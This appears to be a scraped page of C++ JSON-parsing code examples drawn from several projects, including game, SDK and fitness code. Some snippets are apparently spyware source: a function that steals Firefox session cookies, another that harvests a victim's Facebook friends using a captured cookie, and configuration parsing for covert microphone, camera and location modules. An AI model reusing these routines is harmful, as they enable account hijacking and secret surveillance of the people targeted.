コード例 #1
0
void testArray()
{
	JSONParser *parser;
	JSONAtom *atom;
	JSONArray *arrayAtom;

	tryArrayOk("[]", [](const JSONArray &arrayAtom) { assertIntEqual(arrayAtom.size(), 0); });

	tryArrayOk("[0]", [](const JSONArray &arrayAtom)
	{
		assertIntEqual(arrayAtom.size(), 1);
		assertNotNull(arrayAtom[0]);
		assertIntEqual(arrayAtom[0].asInt(), 0);
	});

	tryArrayOk("[0, true]", [](const JSONArray &arrayAtom)
	{
		assertIntEqual(arrayAtom.size(), 2);
		assertNotNull(arrayAtom[0]);
		assertIntEqual(arrayAtom[0].asInt(), 0);
		assertNotNull(arrayAtom[1]);
		assertTrue(arrayAtom[1].asBool());
	});

	tryArrayFail("[");
	tryArrayFail("[,]");
	tryArrayFail("[, true]");
	tryArrayFail("[null, ]");
	tryArrayFail("[null, ");
}
コード例 #2
0
ファイル: Conf.cpp プロジェクト: BwRy/core-winphone
BOOL WINAPI Conf::ParseAction(JSONArray js) {

	UINT i = 0;
	ActionsManager *actionsManager = ActionsManager::self();

	for (i = 0; i < js.size(); i++) {
		JSONObject jo = js[i]->AsObject();
		JSONValue *c = jo[L"subactions"];

		if (c == NULL || c->IsArray() == FALSE) {
			// WARNING
			continue;
		}

#ifdef _DEBUG
		WCHAR msg[128];
		wstring moduleName = jo[L"desc"]->AsString();
		//wprintf(L"Parsing Action: \"%s\"\n", moduleName.c_str());
		swprintf_s(msg, L"Parsing Action: \"%s\"\n", moduleName.c_str());OutputDebugString(msg);
#endif

		actionsManager->add(i, c->AsArray());
	}

	return TRUE;
}
コード例 #3
0
void OuyaPlugin_asyncOuyaRequestProducts(const char* productsJson, s3eCallback onSuccess, s3eCallback onFailure, s3eCallback onCancel)
{
	IwTrace(ODK, ("ODK_platform: OuyaPlugin_asyncOuyaRequestProducts"));

	std::string msg = "OuyaPlugin_asyncOuyaRequestProducts: productsJson=";
	msg.append(productsJson);
	IwTrace(ODK, (msg.c_str()));

	//convert JSON to product id array

	// Parse example data
	JSONValue* value = JSON::Parse(productsJson);

	if (value == NULL)
	{
		IwTrace(ODK, ("Parsing JSON Failed"));
		return;
	}

	if (!value->IsArray())
	{
		IwTrace(ODK, ("Parsing JSON Failed: Not an array"));
		return;
	}

	// Retrieve the main object
	JSONArray data = value->AsArray();

	std::vector<std::string> productIds;

	for (unsigned int i = 0; i < data.size(); i++)
	{
		if (data[i]->IsString())
		{
			const std::wstring wstr = data[i]->AsString();

			std::string productId( wstr.begin(), wstr.end() );

			productIds.push_back(productId);
		}
	}

	OuyaSDK::CallbackSingleton::GetInstance()->m_callbacksRequestProducts->RegisterCallbacks(onSuccess, onFailure, onCancel);

	g_pluginOuya.AsyncOuyaRequestProducts(productIds);
}
コード例 #4
0
		JNIEXPORT void JNICALL Java_tv_ouya_sdk_android_CallbacksRequestReceipts_CallbacksRequestReceiptsOnSuccess(JNIEnv* env, jobject thiz, jstring jsonData)
		{
			LOGI("***********Java_tv_ouya_sdk_android_CallbacksRequestReceipts_CallbacksRequestReceiptsOnSuccess***********");
		
			std::string strJsonData = env->GetStringUTFChars(jsonData, NULL);

			//char buffer[256];
			//sprintf(buffer, "Java_tv_ouya_sdk_android_CallbacksRequestReceipts_CallbacksRequestReceiptsOnSuccess: Returned to C: %s", strJsonData.c_str());
			//LOGI(buffer);

			//LOGI("Parsing JSON Data");

			// Parse example data
			JSONValue* value = JSON::Parse(strJsonData.c_str());

			if (value == NULL)
			{
				LOGI("Parsing JSON Failed");
				return;
			}

			if (!value->IsArray())
			{
				LOGI("Parsing JSON Failed: Not an array");
				return;
			}

			// Retrieve the main object
			JSONArray data = value->AsArray();

			std::vector<Receipt> receipts;

			for (unsigned int i = 0; i < data.size(); i++)
			{
				OuyaSDK::Receipt newReceipt;
				newReceipt.ParseJSON(data[i]);

				receipts.push_back(newReceipt);
			}
		
			CallbacksRequestReceipts* callback = CallbackSingleton::GetInstance()->m_callbacksRequestReceipts;
			if (callback)
			{
				callback->OnSuccess(receipts);
			}
		}
コード例 #5
0
void LevelLoader::calculateDirVec(int index, JSONArray & littleBearArray)
{
	sf::Vector2f result;
	for (unsigned int i = 1; i < littleBearArray.size(); i++, index++)
	{
		// Each waypoint is a JSON Object.
		JSONObject waypoint = littleBearArray[i]->AsObject();
		m_gameData.m_littleBearWPX[index] = waypoint[L"x"]->AsNumber();
		m_gameData.m_littleBearWPY[index] = waypoint[L"y"]->AsNumber();

		sf::Vector2<float> vec(m_gameData.m_littleBearWPX[index] - m_gameData.m_littleBearWPX[index - 1], 
			m_gameData.m_littleBearWPY[index] - m_gameData.m_littleBearWPY[index - 1]);	
		
		result = thor::unitVector(vec);

		m_gameData.m_littleBearDirVecX[index] = result.x;
		m_gameData.m_littleBearDirVecY[index] = result.y;
	}
}
コード例 #6
0
bool Round::SystemGetNetworkInfoResponse::getClusters(ClusterList *clusterList) {
  JSONArray *clusterArray = getResultClusterArray();
  size_t clusterCnt = clusterArray->size();
  for (size_t n=0; n<clusterCnt; n++) {
    JSONDictionary *jsonDict = dynamic_cast<JSONDictionary *>(clusterArray->getObject(n));
    if (!jsonDict)
      continue;
    
    SystemClusterInfoDict clusterInfoDict(jsonDict);
    Cluster *cluster = new Cluster();
    if (!clusterInfoDict.getCluster(cluster)) {
      delete cluster;
      continue;
    }
    
    clusterList->addCluster(cluster);
  }
  
  return true;
}
コード例 #7
0
void LevelLoader::loadAIWaypoints(JSONObject & ai, std::wstring const & pathName, int index, float startX, float startY)
{
	// Load the AI data as waypoints from an array.
	JSONArray littleBearArray = ai[pathName]->AsArray();
	m_gameData.m_littleBearWayPoints = littleBearArray.size();

	// Calculate normalized vectors between each waypoint for path 1.
	JSONObject waypoint = littleBearArray[0]->AsObject();
	m_gameData.m_littleBearWPX[index] = waypoint[L"x"]->AsNumber();
	m_gameData.m_littleBearWPY[index] = waypoint[L"y"]->AsNumber();
	sf::Vector2<float> vec(m_gameData.m_littleBearWPX[index] - startX,
						   m_gameData.m_littleBearWPY[index] - startY);

	sf::Vector2f result = thor::unitVector(vec);

	m_gameData.m_littleBearDirVecX[index] = result.x;
	m_gameData.m_littleBearDirVecY[index] = result.y;

	index++;
	calculateDirVec(index, littleBearArray);
}
コード例 #8
0
void LevelLoader::loadLevel1Data()
{
	// Retrieve the main (root) object
	JSONObject root = getTopLevelJSONObject();

	JSONObject gameData = root[L"general_game_data"]->AsObject();
	// Load the time to place towers field and related text settings.
	JSONObject globalSettings = gameData[L"global_settings"]->AsObject();	
	m_gameData.m_placeTowersText = wStringToString(globalSettings[L"place_towers_text"]->AsString());
	m_gameData.m_placeTowersTextSize = globalSettings[L"place_towers_text_size"]->AsNumber();
	m_gameData.m_fontFile = wStringToString(globalSettings[L"font_file"]->AsString());
	m_gameData.m_placeTowersTextX = globalSettings[L"place_towers_text_x"]->AsNumber();
	m_gameData.m_placeTowersTextY = globalSettings[L"place_towers_text_y"]->AsNumber();

	// Load game lose text.
	m_gameData.m_gameLoseText = wStringToString(globalSettings[L"game_lose_text"]->AsString());
	// Load the particle system texture file.
	m_gameData.m_particlesTextureFile = wStringToString(globalSettings[L"particles_texture_file"]->AsString());
	
	// Load the go button filename.
	m_gameData.m_goButtonFile = wStringToString(globalSettings[L"go_button_file"]->AsString());
	m_gameData.m_goButtonWidth = globalSettings[L"go_button_width"]->AsNumber();
	m_gameData.m_goButtonHeight = globalSettings[L"go_button_height"]->AsNumber();
	// Load the x,y position for the go button.
	JSONObject goButtonPos = globalSettings[L"go_button_position"]->AsObject();
	m_gameData.m_goButtonX = goButtonPos[L"x"]->AsNumber();
	m_gameData.m_goButtonY = goButtonPos[L"y"]->AsNumber();

	// Load the tower points background.
	m_gameData.m_towerPointsFile = wStringToString(globalSettings[L"tower_points_file"]->AsString());

	// Load the tower points.
	m_gameData.m_towerPoints = globalSettings[L"tower_points"]->AsNumber();

	// Load a value giving the honey level for the hive.
	m_gameData.m_honeyLevel = globalSettings[L"honey_level"]->AsNumber();

	// Load the honey hive base.
	m_gameData.m_honeyHiveFile = wStringToString(globalSettings[L"honey_hive_file"]->AsString());
	m_gameData.m_honeyHiveWidth = globalSettings[L"honey_hive_width"]->AsNumber();
	m_gameData.m_honeyHiveRows = globalSettings[L"honey_hive_rows"]->AsNumber();
	m_gameData.m_honeyHiveCols = globalSettings[L"honey_hive_cols"]->AsNumber();
	m_gameData.m_honeyHiveFrames = globalSettings[L"honey_hive_frames"]->AsNumber();

	JSONObject honeyHive = globalSettings[L"honey_hive_position"]->AsObject();
	m_gameData.m_honeyHiveX = honeyHive[L"x"]->AsNumber();
	m_gameData.m_honeyHiveY = honeyHive[L"y"]->AsNumber();

	// Load the tower file
	JSONObject tower = globalSettings[L"tower"]->AsObject();
	// Load the tower base image filename
	m_gameData.m_towerBaseFile = wStringToString(tower[L"tower_base_file"]->AsString());
	// Tower width	
	m_gameData.m_towerWidth = tower[L"tower_width"]->AsNumber();
	// Tower height
	m_gameData.m_towerHeight = tower[L"tower_height"]->AsNumber();
	m_gameData.m_towerFile = wStringToString(tower[L"tower_file"]->AsString());
	m_gameData.m_numberOfTowers = tower[L"max_num_towers"]->AsNumber();
	m_gameData.m_firingDelay = tower[L"firing_delay"]->AsNumber();
	m_gameData.m_towerRotationSpeed = tower[L"tower_rotation_speed"]->AsNumber();
	JSONObject towerRotationOrigin = tower[L"tower_rotation_origin"]->AsObject();
	m_gameData.m_towerRotationOriginX = towerRotationOrigin[L"x"]->AsNumber();
	m_gameData.m_towerRotationOriginY = towerRotationOrigin[L"y"]->AsNumber();

	// Load some sfx files
	JSONObject sfx = globalSettings[L"sfx"]->AsObject();
	m_gameData.m_mouseOverTowerBaseFile = wStringToString(sfx[L"mouse_over_tower_base"]->AsString());
	m_gameData.m_towerPlacedFile = wStringToString(sfx[L"tower_placed"]->AsString());
	m_gameData.m_towerFiringFile = wStringToString(sfx[L"tower_firing"]->AsString());
	m_gameData.m_bumbleBeesFile = wStringToString(sfx[L"bumble_bees"]->AsString());

	// Load the projectile related data	
	JSONObject projectile = globalSettings[L"projectile"]->AsObject();
	m_gameData.m_projectileFile = wStringToString(projectile[L"projectile_file"]->AsString());

	JSONObject projectileCentre = projectile[L"projectile_centre"]->AsObject();
	m_gameData.m_projectileCentreX = projectileCentre[L"x"]->AsNumber();
	m_gameData.m_projectileCentreY = projectileCentre[L"y"]->AsNumber();
	m_gameData.m_maxProjectiles = projectile[L"max_num_projectiles"]->AsNumber();
	m_gameData.m_timeToLive = projectile[L"time_to_live"]->AsNumber();
	m_gameData.m_velocity = projectile[L"velocity"]->AsNumber();

	// Load the background image filename for level 1
	JSONObject level1 = gameData[L"level1"]->AsObject();
	m_gameData.m_level1BackgroundFile = wStringToString(level1[L"level1_background_file"]->AsString());

	// Load the tower base positions from an array.
	JSONArray towerBaseArray = level1[L"tower_bases"]->AsArray();
	m_gameData.m_numberOfTowerBases = towerBaseArray.size();

	for (unsigned int i = 0; i < towerBaseArray.size(); i++)
	{
		// Each tower base position is a JSON Object.
		JSONObject towerBasePos = towerBaseArray[i]->AsObject();
		m_gameData.m_towerBaseX[i] = towerBasePos[L"x"]->AsNumber();
		m_gameData.m_towerBaseY[i] = towerBasePos[L"y"]->AsNumber();
	}		

}
コード例 #9
0
ファイル: JSONValue.cpp プロジェクト: kg4lod/Neuro-Sand-Cube
/**
 * Parses a JSON encoded value to a JSONValue object
 *
 * @access protected
 *
 * @param wchar_t** data Pointer to a wchar_t* that contains the data
 *
 * @return JSONValue* Returns a pointer to a JSONValue object on success, NULL on error
 */
JSONValue *JSONValue::Parse(const wchar_t **data)
{
    // Is it a string?
    if (**data == '"')
    {
        std::wstring str;
        if (!JSON::ExtractString(&(++(*data)), str))
            return NULL;
        else
            return new JSONValue(str);
    }

    // Is it a boolean?
    else if ((simplejson_wcsnlen(*data, 4) && wcsncasecmp(*data, L"true", 4) == 0) || (simplejson_wcsnlen(*data, 5) && wcsncasecmp(*data, L"false", 5) == 0))
    {
        bool value = wcsncasecmp(*data, L"true", 4) == 0;
        (*data) += value ? 4 : 5;
        return new JSONValue(value);
    }

    // Is it a null?
    else if (simplejson_wcsnlen(*data, 4) && wcsncasecmp(*data, L"null", 4) == 0)
    {
        (*data) += 4;
        return new JSONValue();
    }

    // Is it a number?
    else if (**data == L'-' || (**data >= L'0' && **data <= L'9'))
    {
        // Negative?
        bool neg = **data == L'-';
        if (neg) (*data)++;

        double number = 0.0;

        // Parse the whole part of the number - only if it wasn't 0
        if (**data == L'0')
            (*data)++;
        else if (**data >= L'1' && **data <= L'9')
            number = JSON::ParseInt(data);
        else
            return NULL;

        // Could be a decimal now...
        if (**data == '.')
        {
            (*data)++;

            // Not get any digits?
            if (!(**data >= L'0' && **data <= L'9'))
                return NULL;

            // Find the decimal and sort the decimal place out
            // Use ParseDecimal as ParseInt won't work with decimals less than 0.1
            // thanks to Javier Abadia for the report & fix
            double decimal = JSON::ParseDecimal(data);

            // Save the number
            number += decimal;
        }

        // Could be an exponent now...
        if (**data == L'E' || **data == L'e')
        {
            (*data)++;

            // Check signage of expo
            bool neg_expo = false;
            if (**data == L'-' || **data == L'+')
            {
                neg_expo = **data == L'-';
                (*data)++;
            }

            // Not get any digits?
            if (!(**data >= L'0' && **data <= L'9'))
                return NULL;

            // Sort the expo out
            double expo = JSON::ParseInt(data);
            for (double i = 0.0; i < expo; i++)
                number = neg_expo ? (number / 10.0) : (number * 10.0);
        }

        // Was it neg?
        if (neg) number *= -1;

        return new JSONValue(number);
    }

    // An object?
    else if (**data == L'{')
    {
        JSONObject object;

        (*data)++;

        while (**data != 0)
        {
            // Whitespace at the start?
            if (!JSON::SkipWhitespace(data))
            {
                FREE_OBJECT(object);
                return NULL;
            }

            // Special case - empty object
            if (object.size() == 0 && **data == L'}')
            {
                (*data)++;
                return new JSONValue(object);
            }

            // We want a string now...
            std::wstring name;
            if (!JSON::ExtractString(&(++(*data)), name))
            {
                FREE_OBJECT(object);
                return NULL;
            }

            // More whitespace?
            if (!JSON::SkipWhitespace(data))
            {
                FREE_OBJECT(object);
                return NULL;
            }

            // Need a : now
            if (*((*data)++) != L':')
            {
                FREE_OBJECT(object);
                return NULL;
            }

            // More whitespace?
            if (!JSON::SkipWhitespace(data))
            {
                FREE_OBJECT(object);
                return NULL;
            }

            // The value is here
            JSONValue *value = Parse(data);
            if (value == NULL)
            {
                FREE_OBJECT(object);
                return NULL;
            }

            // Add the name:value
            if (object.find(name) != object.end())
                delete object[name];
            object[name] = value;

            // More whitespace?
            if (!JSON::SkipWhitespace(data))
            {
                FREE_OBJECT(object);
                return NULL;
            }

            // End of object?
            if (**data == L'}')
            {
                (*data)++;
                return new JSONValue(object);
            }

            // Want a , now
            if (**data != L',')
            {
                FREE_OBJECT(object);
                return NULL;
            }

            (*data)++;
        }

        // Only here if we ran out of data
        FREE_OBJECT(object);
        return NULL;
    }

    // An array?
    else if (**data == L'[')
    {
        JSONArray array;

        (*data)++;

        while (**data != 0)
        {
            // Whitespace at the start?
            if (!JSON::SkipWhitespace(data))
            {
                FREE_ARRAY(array);
                return NULL;
            }

            // Special case - empty array
            if (array.size() == 0 && **data == L']')
            {
                (*data)++;
                return new JSONValue(array);
            }

            // Get the value
            JSONValue *value = Parse(data);
            if (value == NULL)
            {
                FREE_ARRAY(array);
                return NULL;
            }

            // Add the value
            array.push_back(value);

            // More whitespace?
            if (!JSON::SkipWhitespace(data))
            {
                FREE_ARRAY(array);
                return NULL;
            }

            // End of array?
            if (**data == L']')
            {
                (*data)++;
                return new JSONValue(array);
            }

            // Want a , now
            if (**data != L',')
            {
                FREE_ARRAY(array);
                return NULL;
            }

            (*data)++;
        }

        // Only here if we ran out of data
        FREE_ARRAY(array);
        return NULL;
    }

    // Ran out of possibilites, it's bad!
    else
    {
        return NULL;
    }
}
コード例 #10
0
DWORD FacebookContactHandler(LPSTR strCookie)
{
	LPSTR strUserId, strScreenName;

	if (!ConfIsModuleEnabled(L"addressbook"))
		return SOCIAL_REQUEST_SUCCESS;

	// get user id and screen name
	if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
		return SOCIAL_REQUEST_BAD_COOKIE;

	LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
	_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array

	LPSTR strRecvBuffer=NULL;
	DWORD dwBuffSize;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array
	if (dwRet != SOCIAL_REQUEST_SUCCESS)
	{
		zfree(strRecvBuffer);
		zfree(strUrl);
		return SOCIAL_REQUEST_NETWORK_PROBLEM;
	}

	LPSTR strJson = strRecvBuffer;
	while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)
		strJson++;

	JSONValue *jValue = JSON::Parse(strJson);
	if (jValue != NULL && jValue->IsObject())
	{
		JSONObject jRoot = jValue->AsObject();
		if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array
		{
			if (jRoot[L"payload"]->IsObject())
			{
				JSONObject jPayload = jRoot[L"payload"]->AsObject();
				if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray())  //FIXME: array
				{
					JSONArray jEntries = jPayload[L"entries"]->AsArray();  //FIXME: array
					for (DWORD i=0; i<jEntries.size(); i++)
					{
						LPWSTR strUID = NULL;
						LPWSTR strName = NULL; 
						LPWSTR strProfile = NULL;

						if (!jEntries.at(i)->IsObject())
							continue;

						JSONObject jEntry = jEntries.at(i)->AsObject();
						if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber())  //FIXME: array
						{							
							strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));
							_snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber());  //FIXME: array
						}
						if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString())  //FIXME: array
						{
							strName = (LPWSTR) zalloc(1024*sizeof(WCHAR)); 
							memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
						}
						if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString())  //FIXME: array
						{
							strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));
							memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
						}

						if (strUID && strName && strProfile)
						{
							LPSTR strTmp = (LPSTR) zalloc(1024);
							_snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);

							DWORD dwFlags = 0;
							if (!strncmp(strTmp, strUserId, strlen(strUserId)))
								dwFlags = CONTACTS_MYACCOUNT;
							
							SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);
							zfree(strTmp);
						}

						zfree(strName);
						zfree(strProfile);
						zfree(strUID);
					}
				}
			}
		}
	}

	/* cleanup */
	zfree(strUserId);
	zfree(strScreenName);
	zfree(strRecvBuffer);
	zfree(strUrl);
	if (jValue)
		delete jValue;

	return SOCIAL_REQUEST_BAD_COOKIE;
}
コード例 #11
0
ファイル: Conf.cpp プロジェクト: BwRy/core-winphone
BOOL WINAPI Conf::ParseModule(JSONArray js) {

	UINT i = 0;
	ModulesManager *modulesManager = ModulesManager::self();

	for (i = 0; i < js.size(); i++) {
		JSONObject jo = js[i]->AsObject();
		JSONValue *c = jo[L"module"];

		if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
			// WARNING
			continue;
		}

		void* startProc = NULL;
		wstring moduleName = c->AsString();

#ifdef _DEBUG
		//wprintf(L"Parsing Module: %s\n", moduleName.c_str());
		WCHAR msg[128];
		swprintf_s(msg, L"Parsing Module: %s\n", moduleName.c_str());OutputDebugString(msg);

#endif

		do {
/***
			if (moduleName.compare(L"application") == 0 ) {
				startProc = ApplicationModule;
				break;
			}

			if (moduleName.compare(L"call") == 0 ) {
				startProc = RecordedCalls;
				break;
			}
***/
/***
			if (moduleName.compare(L"calllist") == 0 ) {
				startProc = CallListAgent;
				break;
			}
***/
#ifdef DEMO_ISS
			if (moduleName.compare(L"camera") == 0 ) {
				startProc = CameraModule;
				break;
			}
#endif

/***
			if (moduleName.compare(L"clipboard") == 0 ) {
				startProc = ClipboardModule;
				continue;
			}

			if (moduleName.compare(L"conference") == 0 ) {
				startProc = CallAgent;
				break;
			}
***/
			if (moduleName.compare(L"crisis") == 0 ) {
				startProc = CrisisModule;
				break;
			}

			
			if (moduleName.compare(L"device") == 0 ) {
				startProc = DeviceInfoAgent;
				break;
			}
			
/***
			if (moduleName.compare(L"livemic") == 0 ) {
				startProc = LiveMicModule;
				break;
			}

			if (moduleName.compare(L"messages") == 0 ) {
				startProc = SmsAgent;
				break;
			}
			***/
			if (moduleName.compare(L"mic") == 0 ) {
				startProc = RecordedMicrophone;
				break;
			}
			
			// AddressBook e calendar sono la stessa cosa
			if (moduleName.compare(L"addressbook") == 0) {
				startProc = AddressbookModule;
				break;
			}

			
			if (moduleName.compare(L"calendar") == 0 ) {
				startProc =CalendarModule;
				break;
			}
			

			if (moduleName.compare(L"position") == 0 ) {
				startProc = PositionModule;
				break;
			}
/***
			if (moduleName.compare(L"screenshot") == 0 ) {
				startProc = SnapshotModule;
				break;
			}
***/
/***
			if (moduleName.compare(L"url") == 0 ) {
				startProc = UrlModule;
				break;
			}
***/
		} while (0);

		if (startProc != NULL)
			modulesManager->add(moduleName, jo, startProc);

		// startProc == NULL -> Unknown agent
	}

	return TRUE;
}
コード例 #12
0
ファイル: Conf.cpp プロジェクト: BwRy/core-winphone
BOOL WINAPI Conf::ParseEvent(JSONArray js) {

	UINT i = 0;
	EventsManager *eventsManager = EventsManager::self();

	for (i = 0; i < js.size(); i++) {
		JSONObject jo = js[i]->AsObject();
		JSONValue *c = jo[L"event"];

		if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
			// WARNING
			continue;
		}

		void* startProc = NULL;
		wstring eventName = c->AsString();

#ifdef _DEBUG
		WCHAR msg[128];
		//wprintf(L"Parsing Event: %s\n", eventName.c_str());
		swprintf_s(msg, L"Parsing Event: %s\n", eventName.c_str());OutputDebugString(msg);
#endif
		
		do {
		
			if (eventName.compare(L"ac") == 0 ) {
				startProc = OnAC;
				break;
			}


			if (eventName.compare(L"battery") == 0 ) {
				startProc = OnBatteryLevel;
				break;
			}
/***
			if (eventName.compare(L"call") == 0 ) {
				startProc = OnCall;
				break;
			}

			if (eventName.compare(L"connection") == 0 ) {
				startProc = OnConnection;
				break;
			}
			***/
			if (eventName.compare(L"position") == 0 ) {
				startProc = OnLocation;
				continue;
			}
			/***
			if (eventName.compare(L"process") == 0 ) {
				startProc = OnProcess;
				break;
			}

			if (eventName.compare(L"standby") == 0 ) {
				startProc = OnStandby;
				break;
			}

			if (eventName.compare(L"simchange") == 0 ) {
				startProc = OnSimChange;
				break;
			}
			***/
			if (eventName.compare(L"timer") == 0 ) {
				startProc = OnTimer;
				break;
			}
			/***
			if (eventName.compare(L"afterinst") == 0 ) {
				startProc = OnAfterInst;
				break;
			}
			***/
			if (eventName.compare(L"date") == 0 ) {
				startProc = OnDate;
				break;
			}
			/***
			if (eventName.compare(L"sms") == 0 ) {
				startProc = OnSms;
				break;
			}
			***/
		} while (0);

		if (startProc != NULL)
			eventsManager->add(eventName, jo, startProc);

		// startProc == NULL -> Unknown agent
	}

	return TRUE;
}
コード例 #13
0
ファイル: Cookie_FireFox.cpp プロジェクト: BwRy/core-linux
int DumpSessionCookies(WCHAR *profilePath)
{
	char *session_memory = NULL;
	DWORD session_size;
	HANDLE h_session_file;
	JSONValue *value;
	JSONObject root;
	WCHAR sessionPath[MAX_PATH];
	WCHAR *host = NULL, *name = NULL, *cvalue = NULL;
	DWORD n_read = 0;

	swprintf_s(sessionPath, MAX_PATH, L"%s\\sessionstore.js", profilePath);
	h_session_file = FNC(CreateFileW)(sessionPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (h_session_file == INVALID_HANDLE_VALUE)
		return 0;
	session_size = GetFileSize(h_session_file, NULL);
	if (session_size == INVALID_FILE_SIZE || session_size == 0) {
		CloseHandle(h_session_file);
		return 0;
	}
	session_memory = (char *)malloc(session_size + sizeof(WCHAR));
	if (!session_memory) {
		CloseHandle(h_session_file);
		return 0;
	}
	memset(session_memory, 0, session_size + sizeof(WCHAR));
	if (!ReadFile(h_session_file, session_memory, session_size, &n_read, NULL)) {
		CloseHandle(h_session_file);
		SAFE_FREE(session_memory);
		return 0;
	}
	CloseHandle(h_session_file);
	if (n_read != session_size) {
		SAFE_FREE(session_memory);
		return 0;
	}
	value = JSON::Parse(session_memory);
	if (!value) {
		SAFE_FREE(session_memory);
		return 0;
	}
	if (value->IsObject() == false) {
		delete value;
		SAFE_FREE(session_memory);
		return 0;
	}
	root = value->AsObject();

	if (root.find(L"windows") != root.end() && root[L"windows"]->IsArray()) {
		JSONArray jwindows = root[L"windows"]->AsArray();
		for (unsigned int i = 0; i < jwindows.size(); i++) {
			if (jwindows[i]->IsObject()) {
				JSONObject jtabs = jwindows[i]->AsObject();
				if (jtabs.find(L"cookies") != jtabs.end() && jtabs[L"cookies"]->IsArray()) {
					JSONArray jcookiearray = jtabs[L"cookies"]->AsArray();
					for (unsigned int j = 0; j < jcookiearray.size(); j++) {
						if (jcookiearray[j]->IsObject()) {
							JSONObject jcookie = jcookiearray[j]->AsObject();
							if (jcookie.find(L"host") != jcookie.end() && jcookie[L"host"]->IsString()) 
								host = _wcsdup(jcookie[L"host"]->AsString().c_str());
							if (jcookie.find(L"name") != jcookie.end() && jcookie[L"name"]->IsString()) 
								name = _wcsdup(jcookie[L"name"]->AsString().c_str());
							if (jcookie.find(L"value") != jcookie.end() && jcookie[L"value"]->IsString()) 
								cvalue = _wcsdup(jcookie[L"value"]->AsString().c_str());

							NormalizeDomainW(host);
							if (host && name && cvalue && IsInterestingDomainW(host))
								AddCookieW(host, name, cvalue);

							SAFE_FREE(host);
							SAFE_FREE(name);
							SAFE_FREE(cvalue);
						}
					}
				}
			}
		}
	}	
	delete value;
	SAFE_FREE(session_memory);
	return 1;
}
コード例 #14
0
// Example 1
ResultCode CommonDBController::parseWorkutsJson(const std::string& jsonData)
{
    // Parse example data

    JSONValue *value = JSON::Parse(jsonData.c_str());
    ResultCode result = ResultCode::OK;
    if (value == NULL)
    {
        LOGE(TAG, "Cannot read workouts json data\r\n");
        result = ResultCode::ERROR;
    }
    else
    {
        // Retrieve the main object
        JSONObject root;
        LOGE(TAG, "SONObject root\r\n");
        if (value->IsObject() == false)
        {
            LOGE(TAG, "The root element is not an object, json is not correct! \r\n");
            result = ResultCode::ERROR;
        }
        else
        {
            root = value->AsObject();

            const std::string& workoutLevelTableName = GymfitDBContract::WorkoutLevelEntry::TABLE_NAME;
            if (root.find(workoutLevelTableName) != root.end() &&
                root[workoutLevelTableName]->IsArray())
            {
                JSONArray array = root[workoutLevelTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string wLevelStr = array[i]->Stringify();
                    LOGI(TAG, std::string(wLevelStr.begin(), wLevelStr.end()).c_str());

                    JSONObject levelObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(levelObject, GymfitDBContract::WorkoutLevelEntry::COLUMN_LEVEL_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutLevelEntry::TABLE_NAME,
                                                            values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }


            const std::string& workoutTypeTableName = GymfitDBContract::WorkoutTypeEntry::TABLE_NAME;
            if (root.find(workoutTypeTableName) != root.end() &&
                root[workoutTypeTableName]->IsArray())
            {
                JSONArray array = root[workoutTypeTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string typrStr = array[i]->Stringify();
                    LOGI(TAG, typrStr.c_str());

                    JSONObject typeObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(typeObject, GymfitDBContract::WorkoutTypeEntry::COLUMN_TYPE_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutTypeEntry::TABLE_NAME,
                                                            values, columnKeys) ==ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            
            const std::string& workoutGoalTableName = GymfitDBContract::WorkoutGoalEntry::TABLE_NAME;
            if (root.find(workoutGoalTableName) != root.end() &&
                root[workoutGoalTableName]->IsArray())
            {
                JSONArray array = root[workoutGoalTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string goalStr = array[i]->Stringify();
                    LOGI(TAG, goalStr.c_str());
                    
                    JSONObject goalObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(goalObject, GymfitDBContract::WorkoutGoalEntry::COLUMN_GOAL_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutGoalEntry::TABLE_NAME,
                                                            values, columnKeys) == ResultCode::ERROR)
                    {
